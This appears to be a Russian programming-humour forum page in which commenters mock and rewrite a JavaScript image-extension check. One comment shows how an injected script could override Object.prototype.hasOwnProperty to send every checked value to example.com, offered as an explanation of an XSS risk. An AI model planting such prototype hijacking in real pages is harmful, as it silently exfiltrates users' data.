1. JavaScript / Говнокод #10362

    +148

    1. 1
    if(type_file=='png'||type_file=='jpg'||type_file=='gif'||type_file=='jpeg'||type_file=='png')

    Запостил: хуита, 24 Мая 2012

    Комментарии (33) RSS

    • ну может не любит человек регулярки..
      Ответить
      • Не любит регулярки - пусть делает массив и проверяет оперетором in.
        За одно получит простоту расширяемости и очевидность кода.
        Ответить
        • in научили с массивами работать? ай да ECMA, ай да сукины дети!
          Ответить
        • var allowedExtensions = {'png': 1, 'jpg': 1, 'jpeg': 1, 'gif': 1};
          if (allowedExtensions.hasOwnProperty(fileType.toLowerCase())) {
              // yep
          }
          Ответить
          • "png.jpg.gif.jpeg".Contains(fileType )
            Ответить
            • peg.f.j ?
              Ответить
              • lol.g.g
                Ответить
              • Смотря чем вы собираетесь отломать от имени файла расширение. Если самописной функцией с учётом того, что расширение - это часть имени файла, идущая после последней точки и состоящая только из букв латинского алфавита и цифр, то, в сочетании с ограничением по длине расширения, предложенный Steve_Brown вариант неплох.
                Ответить
                • !("pngjpggifjpeg".indexOf(extension) % 3)
                  Ответить
                • Но так же не застраховано от XXS.
                  Ответить
                  • Вы имели ввиду XSS?
                    Ответить
                    • хехе, он самый :)
                      Ответить
                      • И что же именно с такой конструкцией можно сделать средствами XSS, если не секрет?
                        Ответить
                        • Когда известно, что какие-то пользовательские данные передаются в функции определенные на прототипе какого-то из базовых классов (Object, String и т.д.) то можно переопределить эти методы (при условии, что наш, т.е. вредительский скрипт загрузился) и собирать эти самые пользовательские данные. Но с этим как бы тяжело бороться, т.как иначе прийдется отказаться от использования всего, что можно переопределить в Яваскрипте - и останутся только операторы и пользовательские замыкания / то что объявлено внутри замыканий. Но это уж так задуман Яваскрипт. Это как чтение за пределами массива в Си - фича языка, которая делает его всегда потенциально опасным, и чтобы сделать его безопасным - проще отказаться вообще, чем пытаться из того, что осталось что-то слепить.
                          Ответить
                          • В контексте данной задачи - предварительная поверхностная проверка типа файла - это не так уж и страшно. В худшем случае злоумышленник сможет отправить левый файл скрипту, но на стороне сервера всё равно должна пройти более глубокая проверка. Скрипт просто отсекает количество подробных проверок, уменьшая нагрузку на сервер. Таким образом, жизнеспособен вариант Steve_Brown, а ваш - способ его улучшения.
                            Ответить
                          • В любом деле, не только в программировании, всегда куча граблей. Чтобы стать профессионалом в этом самом деле, нужно наступить на все эти грабли самому.

                            Инженеры-программисты для того и нужны, чтобы знать, где надо проверить границы массива, как не позволить заинжектить на страничку левый код, где будет профит от ленивых вычислений, и т.д.
                            Ответить
          • Object.prototype._hasOwnProperty = Object.prototype.hasOwnProperty;
            Object.prototype.hasOwnProperty =
            	function(property) {
            		ajax.send("example.com?property=" + property);
            		return this._hasOwnProperty(property);
            }
            Ответить
          • if ["png", "jpg", "jpeg", "gif"].indexOf(type_file) != -1 {
              //
            }
            Ответить
            • интерпретатор ошибку выдаст pythonista?
              Ответить
              • Да, забыл круглые скобки вокруг выражения
                Ответить
                • Мне больше нравится lookup по табличке чем проход по списку. Хотя в этом случае выигрыш, скорее всего, нулевой.
                  Ответить
    • показать все, что скрытоПроверять тип файла по расширению - не Ъ. Нужно анализировать содержимое.
      Ответить
      • > язык: JavaScript
        Ответить
      • Ох, хотелось бы взглянуть на такой "анализатор"... Думаю дурная идея таким заниматься на яваскрипте
        Ответить
        • Помнится, недавно BMP загружали...
          http://habrahabr.ru/post/143985/
          Ответить
    • Не учтены PnG, pnG, Png и т.п, зато вот png два раза :)
      Ответить
    • type file - файл типа
      file type - тип файла
      Ответить
    • типа файл
      файл типа
      Ответить
    • mime? Не, не слышал
      Ответить

    Добавить комментарий